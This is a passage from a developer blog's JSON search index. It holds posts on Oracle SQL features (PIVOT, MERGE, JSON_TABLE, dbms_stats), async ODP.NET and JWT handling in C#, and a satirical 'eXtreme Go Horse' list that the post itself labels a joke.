2024","permalink":"https:\/\/rmauro.dev\/gather-oracle-stats-for-schema-tables-indexes\/","section":"Posts","summary":"<p>In Oracle databases, maintaining up-to-date statistics is crucial for optimal query performance. The <code>dbms_stats<\/code> package is a powerful tool that helps database administrators gather and manage these statistics for schemas, tables, and indexes.<\/p>\n<p>In this guide, we will walk you through the essential steps to effectively use <code>dbms_stats<\/code> to collect accurate Oracle database statistics, ensuring that your database performs at its best.<\/p>\n<p>Whether you&rsquo;re optimizing a large enterprise database or fine-tuning a smaller environment, this tutorial will provide you with the knowledge you need to manage Oracle stats with confidence.<\/p>","title":"Using dbms_stats to Gather Oracle Stats for Schema, Table and Indexes"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/.net-7\/","section":"Tags","summary":"","title":".NET 7"},{"content":"Oracle&rsquo;s ODP.NET 23c Dev (or Oracle.ManagedDataAccess.Core) release brings genuine async\/asynchronous methods to support to database interactions in C#, revolutionizing the way developers work with Oracle databases.\nUnder PreRelease until today : 2023-08-24\nOracle.ManagedDataAccess.Core - pre release\nAsync\/Await in C# #Before delving into the specifics of ODP.NET 23c Dev for C#, let&rsquo;s take a moment to understand the power of asynchronous programming in C#.\nThe async\/await pattern enables developers to write non-blocking code, freeing the main thread to perform other tasks while asynchronous operations are in progress.\nThis results in improved responsiveness, smoother user experiences, and efficient utilization of system resources.\nOracle ODP.NET 23c Dev: A New Era of Asynchronous Database Interaction #While previous versions of ODP.NET have async methods, a closer inspection reveals that they were mere wrappers around Task.FromResult calls.\nThese methods lacked true asynchronous behavior, limiting their potential in achieving optimal performance gains and making even worse then synchronous calls.\nWith the eagerly anticipated ODP.NET 23c Dev release, Oracle has taken a significant step forward by offering genuine async\/await support, transforming the landscape of database interactions.\nPre Release until today - 2023-08-24\nThe issue #144 on Github was open since November 2021. We&rsquo;re expecting this feature for a very long time.\nImplement Async versions of Ado.Net methods \u00b7 Issue #144 \u00b7 oracle\/dotnet-db-samplesAdo.Net classes such as DbCommand, DbConnection have async methods that aren\u2019t truly async and just execute the non-async versions and return their result. It would be nice if ODP.NET had a real im\u2026 GitHuboracle Key Async Methods in ODP.NET 23c Dev #Let&rsquo;s explore two pivotal async methods that are now available in their true asynchronous glory.\nOpenAsync: Unlike its predecessor, the new OpenAsync method in ODP.NET 23c Dev truly opens a connection to the Oracle database asynchronously. ExecuteReaderAsync: This method allows developers to execute queries and retrieve data from the Oracle database asynchronously. Sample Async Database Interactions #Let&rsquo;s dive into some code examples that illustrate the difference between the old and the new:\n\/\/ Opening a connection asynchronously (previous version) using Oracle.ManagedDataAccess.Client; \/\/ ... async Task OpenConnectionAsync(string connectionString) { using var connection = new OracleConnection(connectionString); await connection.OpenAsync(); Console.WriteLine(&#34;Connection opened asynchronously.&#34;); } \/\/ Executing a query and reading data asynchronously (new ODP.NET 23c Dev version) using Oracle.ManagedDataAccess.Client; \/\/ ... async Task ExecuteQueryAsync(string connectionString, string query) { using var connection = new OracleConnection(connectionString); await connection.OpenAsync(); using var command = new OracleCommand(query, connection); using var reader = await command.ExecuteReaderAsync(); while (await reader.ReadAsync()) { \/\/ Process data asynchronously } } Embracing the Future: Leveraging ODP.NET 23c Dev for Superior Performance #The introduction of true asynchronous support in ODP.NET 23c Dev is a significant milestone for developers working with Oracle databases.\nBy embracing these new async methods, you can create applications that are more responsive, efficient, and user-friendly.\nAs you transition to the latest version of ODP.NET, you&rsquo;ll unlock the full potential of asynchronous programming and usher in a new era of high-performance database interactions.\nReferences # Async\/Await in C# - Microsoft Docs Oracle Data Provider for .NET (ODP.NET) Documentation ","date":"August 24, 2023","permalink":"https:\/\/rmauro.dev\/oracle-odp-net-with-truly-async-methods-in-csharp\/","section":"Posts","summary":"<p>Oracle&rsquo;s ODP.NET 23c Dev (or <em>Oracle.ManagedDataAccess.Core<\/em>) release brings genuine async\/asynchronous methods to support to database interactions in C#, revolutionizing the way developers work with Oracle databases.<\/p>\n<p>Under <em>PreRelease<\/em> until today : 2023-08-24<\/p>\n<p>\n\n\n\n\n\n\n  \n  \n<figure><img src=\"\/images\/oracle-odp-net-with-truly-async-methods-in-csharp\/oracle-pre-release.webp\" alt=\"\" class=\"mx-auto my-0 rounded-md\" \/>\n<\/figure>\n<\/p>\n<p>Oracle.ManagedDataAccess.Core - pre release<\/p>\n<h2 id=\"asyncawait-in-c\" class=\"relative group\">Async\/Await in C# <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#asyncawait-in-c\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>Before delving into the specifics of ODP.NET 23c Dev for C#, let&rsquo;s take a moment to understand the power of asynchronous programming in C#.<\/p>","title":"Oracle ODP.NET with truly Async Methods in C#"},{"content":"Discover the technical prowess of Oracle&rsquo;s PIVOT command, a robust feature that efficiently converts rows into columns.\nThis blog post delves into the syntax, use cases, and practical examples to illustrate how PIVOT simplifies data analysis and reporting in Oracle databases.\nUnderstanding the PIVOT Command #The PIVOT command is an extension of the SQL SELECT statement in Oracle. It lets you rotate rows into columns, effectively transposing data to achieve a more structured and readable output.\nThe PIVOT command works by aggregating data based on specified criteria and then rotating the unique values from one column into multiple columns.\nSELECT * FROM ( SELECT column1, column2, column3 FROM your_table_name ) PIVOT ( aggregate_function (column_to_aggregate) FOR pivot_column IN (list_of_values) ) aggregate_function: This is the SQL aggregate function used to summarize the data. Commonly used functions include SUM, COUNT, AVG, MAX, MIN, etc. column_to_aggregate: The column whose values will be aggregated based on the specified aggregate function. pivot_column: The column containing unique values will be rotated into new column headers. list_of_values: A list of distinct values from the pivot_column that you want to become new columns. Use Case Scenario #Assume we have a table called &ldquo;PRODUCTS&rdquo; with the following structure.\nSELECT * FROM PRODUCTS; DATE PRODUCT SALES_QUANTITY ---------- ----------- ---------------- 2023-07-01 Keyboard 10 2023-07-01 Mouse 15 2023-07-02 Keyboard 8 2023-07-02 Mouse 12 Table PRODUCTS\nWe can use the Oracle PIVOT command to pivot this data and obtain a summary of sales quantities for each product on different columns:\nSELECT * FROM ( SELECT DATE, PRODUCT, SALES_QUANTITY FROM PRODUCTS ) PIVOT ( SUM (SALES_QUANTITY) FOR Product IN (&#39;Keyboard&#39;, &#39;Mouse&#39;) ); SQL with PIVOT\nIn this example, the PIVOT command will transform the original data, displaying the sales quantities of each product as separate columns.\nSELECT * FROM PRODUCTS; DATE Keyboard Mouse ---------- ----------- ---------------- 2023-07-01 10 15 2023-07-02 8 12 Now, you have a more structured and readable output, making it easier to analyze and interpret the sales quantities for each product on different dates.\nThe Oracle PIVOT command simplifies this data transformation process, enhancing the efficiency of your data analysis and reporting tasks.\nConclusion #The Oracle PIVOT command is a powerful tool for data transformation, simplifying the process of converting rows into columns in a query result.\nSo, next time you find yourself facing the challenge of transposing data, consider harnessing the power of Oracle&rsquo;s PIVOT command to make your work more efficient and effective.\n","date":"August 6, 2023","permalink":"https:\/\/rmauro.dev\/oracle-pivot-command-turn-rows-into-columns\/","section":"Posts","summary":"<p>Discover the technical prowess of Oracle&rsquo;s PIVOT command, a robust feature that efficiently converts rows into columns.<\/p>\n<p>This blog post delves into the syntax, use cases, and practical examples to illustrate how PIVOT simplifies data analysis and reporting in Oracle databases.<\/p>\n<h2 id=\"understanding-the-pivot-command\" class=\"relative group\">Understanding the PIVOT Command <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#understanding-the-pivot-command\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>The PIVOT command is an extension of the SQL SELECT statement in Oracle. It lets you rotate rows into columns, effectively transposing data to achieve a more structured and readable output.<\/p>","title":"Oracle PIVOT Command - Turn Rows into Columns"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/authentication\/","section":"Tags","summary":"","title":"Authentication"},{"content":"This blog post will explore extracting a JWT token from incoming requests using C#.\nWe will explore two methods using Minimal APIs, but it&rsquo;s the same process for MVC Controllers.\nJSON Web Tokens (JWT) have become famous for securing web applications and APIs. JWTs provide a way to transmit claims between parties securely and are widely used for authentication and authorization purposes.\nCheck out this article how to set up JWT Authentication in your project:\nhttps:\/\/rmauro.dev\/jwt-authentication-with-csharp-dotnet\/\nTable of Contents # Method 1: Parsing using Request Context Method 2: Parsing directly from HTTP Headers Conclusion Method 1: Getting JWT from Authentication Context #This is the best way because it doesn&rsquo;t rely on the HTTP Headers. It uses the Authentication process instead.\nPS.: The Authentication pipeline should be processed at this time.\nusing Microsoft.AspNetCore.Authentication; app.MapGet(&#34;\/jwt-token\/context&#34;, async (HttpContext ctx) =&gt; { \/\/get the access token from the HttpContext string token = await ctx.GetTokenAsync(&#34;access_token&#34;); return TypedResults.Ok(new { token = token }); }); Get Access Token from Authentication Context\nMethod 2: Parsing JWT Token from HTTP Headers #To retrieve the JWT token from a request, we need to access the request headers and extract the value of the &ldquo;Authorization&rdquo; header.\nHere&rsquo;s a second example of how to parse the JWT token from a request:\napp.MapGet(&#34;\/jwt-token\/headers&#34;, (HttpContext ctx) =&gt; { if (ctx.Request.Headers.TryGetValue(&#34;Authorization&#34;, out var headerAuth)) { var jwtToken = headerAuth.First().Split(new[] { &#39; &#39; }, StringSplitOptions.RemoveEmptyEntries)[1]; return Task.FromResult( TypedResults.Ok(new { token = jwtToken }) ); } return Task.FromResult( TypedResults.NotFound(new { message = &#34;jwt not found&#34; }) ); }); Get Access Token from Headers\nSource Code #https:\/\/github.com\/ricardodemauro\/Labs.JwtAuthentication\nConclusion #Extracting a JWT token from a request is a fundamental step in securing web applications and APIs.\nRemember to handle error scenarios and follow best practices to ensure the security of your application.\n","date":"May 29, 2023","permalink":"https:\/\/rmauro.dev\/csharp-get-jwt-token-request\/","section":"Posts","summary":"<p>This blog post will explore extracting a JWT token from incoming requests using C#.<\/p>\n<p>We will explore two methods using Minimal APIs, but it&rsquo;s the same process for MVC Controllers.<\/p>\n<p>JSON Web Tokens (JWT) have become famous for securing web applications and APIs. JWTs provide a way to transmit claims between parties securely and are widely used for authentication and authorization purposes.<\/p>\n<blockquote>\n<p>Check out this article how to set up JWT Authentication in your project:<br>\n<a href=\"https:\/\/rmauro.dev\/jwt-authentication-with-csharp-dotnet\/\" target=\"_blank\" rel=\"noreferrer\">https:\/\/rmauro.dev\/jwt-authentication-with-csharp-dotnet\/<\/a><\/p>","title":"C# Get JWT Token from Request .NET 6"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/jwt\/","section":"Tags","summary":"","title":"JWT"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/oauth\/","section":"Tags","summary":"","title":"OAuth"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/json_table\/","section":"Tags","summary":"","title":"Json_table"},{"content":"The function JSON_TABLE allows us to transform JSON data into a table relational format.\nThis article will explore the Oracle JSON_TABLE function and its syntax and provide examples to demonstrate its usage and capabilities.\nTable of Contents # Understanding the Oracle function JSON_TABLE Example Using Oracle JSON_TABLE Additional Considerations Conclusion Understanding the Oracle function JSON_TABLE #The JSON_TABLE function in Oracle converts JSON data into a relational format by extracting specified JSON data elements and returning them as rows and columns.\nIt enables you to query and process JSON data using SQL techniques, making integrating JSON and relational data easier.\nThe Syntax of Oracle JSON_TABLE:\nJSON_TABLE( json_data , path_expression COLUMNS (column_name data_type PATH json_path_exp) [, ...]) json_data: The JSON document or column from which to extract data. path_expression: The JSON path expression specifies the elements to extract. column_name: The name to assign to the extracted JSON element. data_type: The data type of the extracted JSON element. json_path_exp: The JSON path expression to access the specific element within the JSON structure. Example Using Oracle JSON_TABLE #Let&rsquo;s consider a practical example to illustrate the usage of Oracle JSON_TABLE. Suppose we have a JSON document representing a list of employees and their details:\n{ &#34;employees&#34;: [ { &#34;name&#34;: &#34;John Doe&#34;, &#34;age&#34;: 30, &#34;position&#34;: &#34;Software Engineer&#34; }, { &#34;name&#34;: &#34;Jane Smith&#34;, &#34;age&#34;: 35, &#34;position&#34;: &#34;Project Manager&#34; } ] } JSON_VALUE\nWe can use JSON_TABLE to extract the employee details and transform them into a relational format:\nSELECT A.NAME, A.AGE, A.POSITION FROM JSON_TABLE( JSON_VALUE , &#39;$.employees[*]&#39; COLUMNS ( NAME VARCHAR PATH &#39;$.name&#39;, AGE NUMBER PATH &#39;$.age&#39;, POSITION VARCHAR PATH &#39;$.position&#39; ) ) A NAME AGE POSITION ----------- ---- ------------------ John Doe 30 Software Engineer Jane Smith 35 Project Manager Usage of JSON_TABLE\nIn the above example, we use the JSON_TABLE function to extract the &ldquo;name,&rdquo; &ldquo;age,&rdquo; and &ldquo;position&rdquo; elements from the &ldquo;employees&rdquo; array.\nUsing the COLUMNS clause, we assign them to corresponding columns with appropriate data types.\nThe resulting query retrieves the employee details in a relational format.\nAdditional Considerations # The JSON_TABLE function supports advanced features such as nested JSON structures, array handling, and object flattening. You can use SQL functions and expressions within the JSON_TABLE statement to perform calculations or transformations on extracted data. JSON_TABLE also supports error handling and handling missing or optional JSON elements. Conclusion #Oracle JSON_TABLE is a powerful function that enables the transformation of JSON data into a relational format.\nBy extracting specified JSON elements and returning them as rows and columns, JSON_TABLE allows you to integrate JSON and relational data seamlessly.\nUnderstanding the syntax and usage of Oracle JSON_TABLE empowers developers to efficiently query and process JSON data within an Oracle database environment.\n","date":"May 24, 2023","permalink":"https:\/\/rmauro.dev\/oracle-json-table-transforming-json-into-relational-format\/","section":"Posts","summary":"<p>The function <strong>JSON_TABLE<\/strong> allows us to transform JSON data into a table relational format.<\/p>\n<p>This article will explore the Oracle <strong>JSON_TABLE<\/strong> function and its syntax and provide examples to demonstrate its usage and capabilities.<\/p>\n<h2 id=\"table-of-contents\" class=\"relative group\">Table of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"#understanding-the-oracle-function-jsontable\">Understanding the Oracle function JSON_TABLE<\/a><\/li>\n<li><a href=\"#example-using-oracle-jsontable\">Example Using Oracle JSON_TABLE<\/a><\/li>\n<li><a href=\"#additional-considerations\">Additional Considerations<\/a><\/li>\n<li><a href=\"#conclusion\">Conclusion<\/a><\/li>\n<\/ul>\n<h2 id=\"understanding-the-oracle-function-json_table\" class=\"relative group\">Understanding the Oracle function JSON_TABLE <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#understanding-the-oracle-function-json_table\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>The JSON_TABLE function in Oracle converts JSON data into a relational format by extracting specified JSON data elements and returning them as rows and columns.<\/p>","title":"Oracle JSON_TABLE Transforming JSON into Table"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/merge\/","section":"Tags","summary":"","title":"Merge"},{"content":"Oracle MERGE statement is one of those powerful commands which allows you to perform INSERT and UPDATE operations in a single statement based on specific conditions.\nThis article will explore the MERGE command in Oracle.\nTable of Contents # What is the MERGE to UPDATE Command Example Using MERGE to UPDATE Additional Considerations Conclusion What is the MERGE Command #The MERGE statement in Oracle combines the INSERT and UPDATE operations into a single statement.\nIt compares the data in the Source Table (or staging table) with the data in the Target Table (table to be updated). Then, based on specified conditions, the MERGE statement either inserts new rows or updates existing rows in the target table.\nThe basic syntax of the MERGE UPDATE command in Oracle:\nMERGE INTO target_table a USING source_table b ON (condition) WHEN MATCHED THEN UPDATE SET a.column1 = b.value1, a.column2 = b.value2, ... WHEN NOT MATCHED THEN INSERT (a.column1, a.column2, ...) VALUES (b.value1, b.value2, ...) target_table: The table to be updated. source_table: The table containing the source data. condition: The condition used to match rows between the source and target tables. column1, column2: The columns in the target table to be updated. value1, value2: The new values to be set for the corresponding columns. Example Using MERGE to UPDATE #Let&rsquo;s consider a practical example to demonstrate MERGE UPDATE command.\nIn this example, we have defined two tables:\nCREATE TABLE CUSTOMER ( ID_CUSTOMER NUMBER , NAME VARCHAR(100) , EMAIL VARCHAR(100) ); SELECT * FROM CUSTOMER; ID_CUSTOMER NAME EMAIL ----------- --------------------- ------------------------- 1 Robert L. Brown robert.l.brown@sample.com 2 John A. Wong johna@sample.com 3 Alexander W. Barclay alexwb@sample.com Customer Table Information\nCREATE TABLE LEAD ( ID_LEAD NUMBER , NAME VARCHAR(200) , EMAIL VARCHAR(100) , ID_CUSTOMER NUMBER ); SELECT * FROM LEAD; ID_LEAD NAME EMAIL ID_CUSTOMER ----------- --------------------- -------------------------- ----------- 1 John johna@sample.com 2 2 Alexander Barclay alexwb@sample.com 3 3 Robert B. robert.l.brown@sample.com 1 Lead Table Information\nWe will update the LEAD table with existing CUSTOMER information and create when it does not exist in LEAD.\n\/* CREATE A SEQUENCE HERE FOR SUPORTING THE INSERT CONDITION CREATE SEQUENCE LEAD_SEQ;*\/ MERGE INTO LEAD A USING (SELECT ID_CUSTOMER, NAME, EMAIL FROM CUSTOMER) B ON (B.ID_CUSTOMER = A.ID_CUSTOMER) WHEN MATCHED THEN UPDATE SET A.NAME = B.NAME, A.EMAIL = B.EMAIL WHEN NOT MATCHED THEN INSERT (A.ID_LEAD, A.NAME, A.EMAIL, A.ID_CUSTOMER) VALUES (LEAD_SEQ.NEXTVAL, B.NAME, B.EMAIL, B.ID_CUSTOMER); In the above example, we have merged the &ldquo;CUSTOMER&rdquo; table into the &ldquo;LEAD&rdquo; table based on matching ID_CUSTOMER.\nWhen a match is found, the corresponding NAME and EMAIL columns in the &ldquo;LEAD&rdquo; table are updated with the values from the &ldquo;CUSTOMER&rdquo; table.\nWhen no match is found, a new record is created.\nAdditional Considerations # It is essential to ensure that the conditions used in the ON clause are accurate and precise to avoid unintended updates or insertions. Proper indexing on columns involved in the merge condition can significantly improve performance. Conclusion #The MERGE statement simplifies data manipulation tasks by combining the INSERT and UPDATE operations into a single statement.\nUnderstanding the syntax and usage of the MERGE UPDATE command empowers Oracle developers to perform complex data updates with ease and efficiency.\n","date":"May 21, 2023","permalink":"https:\/\/rmauro.dev\/oracle-merge-to-update-sql\/","section":"Posts","summary":"<p>Oracle MERGE statement is one of those powerful commands which allows you to perform <strong>INSERT<\/strong> and <strong>UPDATE<\/strong> operations in a single statement based on specific conditions.<\/p>\n<p>This article will explore the <strong>MERGE<\/strong> command in <strong>Oracle<\/strong>.<\/p>\n<h2 id=\"table-of-contents\" class=\"relative group\">Table of Contents <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#table-of-contents\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ul>\n<li><a href=\"#what-is-the-merge-to-update-command\">What is the MERGE to UPDATE Command<\/a><\/li>\n<li><a href=\"#example-using-merge-to-update\">Example Using MERGE to UPDATE<\/a><\/li>\n<li><a href=\"#additional-considerations\">Additional Considerations<\/a><\/li>\n<li><a href=\"#conclusion\">Conclusion<\/a><\/li>\n<\/ul>\n<h2 id=\"what-is-the-merge-command\" class=\"relative group\">What is the MERGE Command <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#what-is-the-merge-command\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>The MERGE statement in Oracle combines the INSERT and UPDATE operations into a single statement.<\/p>","title":"Oracle MERGE Statement SQL"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/oracle-merge\/","section":"Tags","summary":"","title":"Oracle-Merge"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/en\/","section":"Tags","summary":"","title":"En"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/methodology\/","section":"Tags","summary":"","title":"Methodology"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/xgh\/","section":"Tags","summary":"","title":"Xgh"},{"content":"Have you ever participated in a project that uses eXtreme Go Horse Programming, aka XGH?\nThe XGH Commandments # I think therefore it&rsquo;s not XGH.\nIn XGH you don&rsquo;t think, you do the first thing that comes to your mind. There&rsquo;s not a second option as the first one is faster. There are 3 ways of solving a problem: the right way, the wrong way and the XGH way which is exactly like the wrong one but faster.\nXGH is faster than any development process you know (see Axiom 14). You&rsquo;ll always need to do more and more XGH.\nFor every solved problem using XGH 7 more are created. And all of them will be solved using XGH. Therefore XGH tends to the infinite. XGH is completely reactive.\nErrors only come to exist when they appear. In XGH anything goes.\nDoes it solve the problem? Did it compile? You commit and don&rsquo;t think about it anymore. You commit always before updating.\nIf things go wrong your part will always be correct&hellip; and your colleagues will be the ones dealing with the problems. XGH don&rsquo;t have schedules.\nSchedules given to you by your clients are all but important. You will ALWAYS be able to implement EVERYTHING in time (even if that means accessing the DB through some crazy script). Be ready to jump off when the boat starts sinking. Or blame someone else.\nFor people using XGH someday the boat sinks. As time passes by the system grows into a bigger monster. You better have your resume ready for when the thing comes down. Or have someone else to blame. Be authentic. XGH doesn&rsquo;t follow patterns.\nWrite code as you may want. If it solves the problem you must commit and forget about it. There&rsquo;s no refactoring just rework.\nIf things ever go wrong just use XGH to quickly solve the problem. Whenever the problem requires rewriting the whole software it&rsquo;s time for you to drop off before the whole thing goes down. XGH is anarchic.\nThere&rsquo;s no need for a project manager. There&rsquo;s no owner and everyone does whatever they want when the problems and requirements appear. Always believe in improvement promises.\nPutting TODO comments in the code as a promise that the code will be improved later helps the XGH developer. He\/She won&rsquo;t feel guilt for the shit he\/she did. Sure there won&rsquo;t any refactoring (see Axiom 10). XGH is absolute.\nDelivery dates and costs are absolute things. Quality is relative. Never think about quality but instead think about the minimum time required to implement a solution. Actually, don&rsquo;t think. Do! XGH is not a fad.\nScrum, XP? Those are just trends. XGH developers don&rsquo;t follow temporary trends. XGH will always be used by those who despise quality. XGH is not always WOP (Workaround-oriented programming).\nMany WOP requires smart thinking. XGH requires no thinking (see Axiom 1). Don&rsquo;t try to row against the tide.\nIf your colleagues use XGH and you are the only sissy who wants to do things the right way then quit it! For any design pattern that you apply correctly, your colleagues will generate 10 times more rotten code using XGH. XGH is not dangerous until you see some order in it.\nThis axiom is very complex but it says that an XGH project is always in chaos. Don&rsquo;t try to put order into XGH (see Axiom 16). It&rsquo;s useless and you&rsquo;ll spend a lot of precious time. This will make things go down even faster. Don&rsquo;t try to manage XGH as it&rsquo;s auto-sufficient (see Axiom 11) as it&rsquo;s also chaos. XGH is your bro. But it&rsquo;s vengeful.\nWhile you want it XGH will always be at your side. But be careful not to abandon him. If you start something using XGH and then turn to some trendy methodology you will be fucked up. XGH doesn&rsquo;t allow refactoring (see Axiom 10) and your new sissy system will collapse. When that happens only XGH can save you. If it&rsquo;s working don&rsquo;t bother.\nNever ever change - or even think of a question - a working code. That&rsquo;s a complete waste of time even more because refactoring doesn&rsquo;t exist (see Axiom 10).\nTime is the engine behind XGH and quality is just a meaningless detail. Tests are for pussies.\nIf you ever worked with XGH you better know what you&rsquo;re doing. And if you know what you&rsquo;re doing why test then? Tests are a waste of time. If it compiles it&rsquo;s good. Be used to the &rsquo;living on the edge&rsquo; feeling.\nFailure and success are really similar and XGH is not different. People normally think that a project can have greater chances of failing when using XGH. But success is just a way of seeing it.\nThe project failed. Did you learn something with it? Then for you, it was a success! The problem is only yours when your name is on the code docs.\nNever touch a class of code that you&rsquo;re not the author. When a team member dies or stays away for too long the thing will go down. When that happens use Axiom 8. Buy the Book on Amazon # Guys&hellip; this is just a Joke!!\n","date":"May 2, 2023","permalink":"https:\/\/rmauro.dev\/extreme-go-horse-xgh-process-source\/","section":"Posts","summary":"<p>Have you ever participated in a project that uses eXtreme Go Horse Programming, aka XGH?<\/p>\n<h2 id=\"the-xgh-commandments\" class=\"relative group\">The XGH Commandments <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#the-xgh-commandments\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><ol>\n<li>I think therefore it&rsquo;s not XGH.<br>\nIn XGH you don&rsquo;t think, you do the first thing that comes to your mind. There&rsquo;s not a second option as the first one is faster.<\/li>\n<li>There are 3 ways of solving a problem: the right way, the wrong way and the XGH way which is exactly like the wrong one but faster.<br>\nXGH is faster than any development process you know (see Axiom 14).<\/li>\n<li>You&rsquo;ll always need to do more and more XGH.<br>\nFor every solved problem using XGH 7 more are created. And all of them will be solved using XGH. Therefore XGH tends to the infinite.<\/li>\n<li>XGH is completely reactive.<br>\nErrors only come to exist when they appear.<\/li>\n<li>In XGH anything goes.<br>\nDoes it solve the problem? Did it compile? You commit and don&rsquo;t think about it anymore.<\/li>\n<li>You commit always before updating.<br>\nIf things go wrong your part will always be correct&hellip; and your colleagues will be the ones dealing with the problems.<\/li>\n<li>XGH don&rsquo;t have schedules.<br>\nSchedules given to you by your clients are all but important. You will ALWAYS be able to implement EVERYTHING in time (even if that means accessing the DB through some crazy script).<\/li>\n<li>Be ready to jump off when the boat starts sinking. Or blame someone else.<br>\nFor people using XGH someday the boat sinks. As time passes by the system grows into a bigger monster. You better have your resume ready for when the thing comes down. Or have someone else to blame.<\/li>\n<li>Be authentic. XGH doesn&rsquo;t follow patterns.<br>\nWrite code as you may want. If it solves the problem you must commit and forget about it.<\/li>\n<li>There&rsquo;s no refactoring just rework.<br>\nIf things ever go wrong just use XGH to quickly solve the problem. Whenever the problem requires rewriting the whole software it&rsquo;s time for you to drop off before the whole thing goes down.<\/li>\n<li>XGH is anarchic.<br>\nThere&rsquo;s no need for a project manager. There&rsquo;s no owner and everyone does whatever they want when the problems and requirements appear.<\/li>\n<li>Always believe in improvement promises.<br>\nPutting TODO comments in the code as a promise that the code will be improved later helps the XGH developer. He\/She won&rsquo;t feel guilt for the shit he\/she did. Sure there won&rsquo;t any refactoring (see Axiom 10).<\/li>\n<li>XGH is absolute.<br>\nDelivery dates and costs are absolute things. Quality is relative. Never think about quality but instead think about the minimum time required to implement a solution. Actually, don&rsquo;t think. Do!<\/li>\n<li>XGH is not a fad.<br>\nScrum, XP? Those are just trends. XGH developers don&rsquo;t follow temporary trends. XGH will always be used by those who despise quality.<\/li>\n<li>XGH is not always WOP (Workaround-oriented programming).<br>\nMany WOP requires smart thinking. XGH requires no thinking (see Axiom 1).<\/li>\n<li>Don&rsquo;t try to row against the tide.<br>\nIf your colleagues use XGH and you are the only sissy who wants to do things the right way then quit it! For any design pattern that you apply correctly, your colleagues will generate 10 times more rotten code using XGH.<\/li>\n<li>XGH is not dangerous until you see some order in it.<br>\nThis axiom is very complex but it says that an XGH project is always in chaos. Don&rsquo;t try to put order into XGH (see Axiom 16). It&rsquo;s useless and you&rsquo;ll spend a lot of precious time. This will make things go down even faster. Don&rsquo;t try to manage XGH as it&rsquo;s auto-sufficient (see Axiom 11) as it&rsquo;s also chaos.<\/li>\n<li>XGH is your bro. But it&rsquo;s vengeful.<br>\nWhile you want it XGH will always be at your side. But be careful not to abandon him. If you start something using XGH and then turn to some trendy methodology you will be fucked up. XGH doesn&rsquo;t allow refactoring (see Axiom 10) and your new sissy system will collapse. When that happens only XGH can save you.<\/li>\n<li>If it&rsquo;s working don&rsquo;t bother.<br>\nNever ever change - or even think of a question - a working code. That&rsquo;s a complete waste of time even more because refactoring doesn&rsquo;t exist (see Axiom 10).<br>\nTime is the engine behind XGH and quality is just a meaningless detail.<\/li>\n<li>Tests are for pussies.<br>\nIf you ever worked with XGH you better know what you&rsquo;re doing. And if you know what you&rsquo;re doing why test then? Tests are a waste of time. If it compiles it&rsquo;s good.<\/li>\n<li>Be used to the &rsquo;living on the edge&rsquo; feeling.<br>\nFailure and success are really similar and XGH is not different. People normally think that a project can have greater chances of failing when using XGH. But success is just a way of seeing it.<br>\nThe project failed. Did you learn something with it? Then for you, it was a success!<\/li>\n<li>The problem is only yours when your name is on the code docs.<br>\nNever touch a class of code that you&rsquo;re not the author. When a team member dies or stays away for too long the thing will go down. When that happens use Axiom 8.<\/li>\n<\/ol>\n<h2 id=\"buy-the-book-on-amazon\" class=\"relative group\">Buy the Book on Amazon <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#buy-the-book-on-amazon\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>\n\n\n\n\n\n\n  \n  \n<figure><img src=\"\/images\/extreme-go-horse-xgh-process-source\/xhg-book.webp\" alt=\"xhg-book\" class=\"mx-auto my-0 rounded-md\" \/>\n<\/figure>\n<\/p>","title":"XGH \/ eXtreme Go Horse"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/aspnet\/","section":"Tags","summary":"","title":"AspNet"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/aspnetcore\/","section":"Tags","summary":"","title":"AspNetCore"},{"content":"In this article, we will work on implementing C# JWT Authentication using .NET 7 - which also works for .NET 6, and preview .NET 8 - using ASP.NET Core.\nSecurity is a significant concern today, with so much sensitive information, and not so much sensitive ones, being transmitted across the 